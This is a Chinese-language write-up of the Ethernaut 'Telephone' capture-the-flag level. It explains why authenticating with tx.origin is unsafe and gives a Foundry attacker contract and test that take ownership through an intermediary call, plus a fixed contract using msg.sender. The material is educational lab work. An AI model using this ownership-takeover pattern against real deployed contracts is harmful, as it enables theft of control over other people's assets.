当前位置: 首页 > news >正文

微网站 具有哪方面的优势代理公司注册需要多少钱

微网站 具有哪方面的优势,代理公司注册需要多少钱,哈尔滨网站建设托管公司,茂名网站建设服务🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过 关卡链接: Ethernaut Level 4 - Telephone 攻击类型: 身份验证绕过、中间合约攻击 难度: ⭐⭐☆☆☆ 📋 挑战目标 获取合约控制权 - 成为 Telephone 合约的 owner理解身份机制…

🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

关卡链接: Ethernaut Level 4 - Telephone
攻击类型: 身份验证绕过、中间合约攻击
难度: ⭐⭐☆☆☆

📋 挑战目标

  1. 获取合约控制权 - 成为 Telephone 合约的 owner
  2. 理解身份机制 - 掌握 tx.originmsg.sender 的区别

Telephone Challenge

🔍 漏洞分析

合约源码分析

pragma solidity ^0.8.0;contract Telephone {address public owner;constructor() {owner = msg.sender;}function changeOwner(address _owner) public {// 🚨 漏洞:使用 tx.origin 进行身份验证if (tx.origin != msg.sender) {owner = _owner;}}
}

关键概念对比

属性msg.sendertx.origin
定义直接调用者交易发起者
变化每次调用都可能变化整个交易链中不变
安全性✅ 安全❌ 危险
推荐使用身份验证仅用于日志记录

攻击原理

当我们通过中间合约调用时:

  • tx.origin = 用户地址 (交易发起者)
  • msg.sender = 攻击合约地址 (直接调用者)
  • 由于 tx.origin != msg.sender,条件满足,可以修改 owner

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Telephone.sol";contract TelephoneAttacker {Telephone public target;constructor(address _target) {target = Telephone(_target);}function attack(address _newOwner) public {// 通过中间合约调用,使 tx.origin ≠ msg.sendertarget.changeOwner(_newOwner);}
}contract TelephoneTest is Test {Telephone public telephone;TelephoneAttacker public attacker;address public user = makeAddr("user");address public newOwner = makeAddr("newOwner");function setUp() public {telephone = new Telephone();attacker = new TelephoneAttacker(address(telephone));}function testTelephoneExploit() public {vm.startPrank(user);// 通过中间合约攻击attacker.attack(newOwner);vm.stopPrank();// 验证攻击成功assertEq(telephone.owner(), newOwner);console.log("Attack successful! New owner:", telephone.owner());}
}

🛡️ 防御措施

使用 msg.sender 进行身份验证

contract SecureTelephone {address public owner;modifier onlyOwner() {require(msg.sender == owner, "Not the owner");_;}function changeOwner(address _newOwner) public onlyOwner {owner = _newOwner;}
}

🎯 总结

Telephone 关卡教导我们:

  • ✅ 永远不要使用 tx.origin 进行身份验证
  • ✅ 使用 msg.sender 进行安全的身份检查
  • ✅ 理解调用链中的身份传递机制

🔗 相关链接

  • 原文
  • GitHub 项目
http://www.dtcms.com/a/437087.html

相关文章:

  • 淘宝网发布网站建设没有网站可以域名备案
  • 如何给网站备案电脑版网页版登录入口
  • 网站侧边 跟随 样式线上营销网站设计
  • 建设官方网站的作用嵊州建设局网站
  • 网站如何编辑建设企业网站官网企业网银
  • 个人网站免费建设美妆网站怎么做
  • 电子商务网站建设设计方案自己注册公司一年多少费用
  • 网站建设在哪里网站开发毕业答辩
  • 网站建设需要懂什么网件路由器app 中文版
  • 湖南企业网站营销设计网站可以做哪些广告语
  • 响应式网站移动端排名百度商店
  • 什么平台可以做网站推广图片在线编辑器
  • 东莞++网站建设做网站在线
  • 免费综合网站注册申请游戏下载网站模板
  • 福田网站建设公司乐云seo网站建设 的介绍
  • 保定市住房保障和城乡建设局网站wordpress评论邮件插件
  • 珠海网站建设维护如果做网站推广
  • 赣州网站建设中心海口官网设计
  • 做游戏试玩网站常州哪些网站公司做的好
  • 网站群集约化建设通知产品广告策划方案
  • 网站备案完成后接下来怎么做网页制作个人简历的代码
  • 模板网站也可以做优化番禺网站建设知乎
  • phpnow 搭建网站如何将一台电脑做网站空间
  • 做淘宝图片的网站网站建设难点和重点
  • ps网站导航条素材织梦珠宝网站模板
  • 网站后台策划wordpress 内网映射
  • 全屏网站制作在线制作印章公章
  • 长沙网站制作收费明细程序员培训机构哪家好
  • 深圳网站建设怎样选美食网站建设的时间进度表
  • 顺德互动交流网站重庆璧山网站制作报价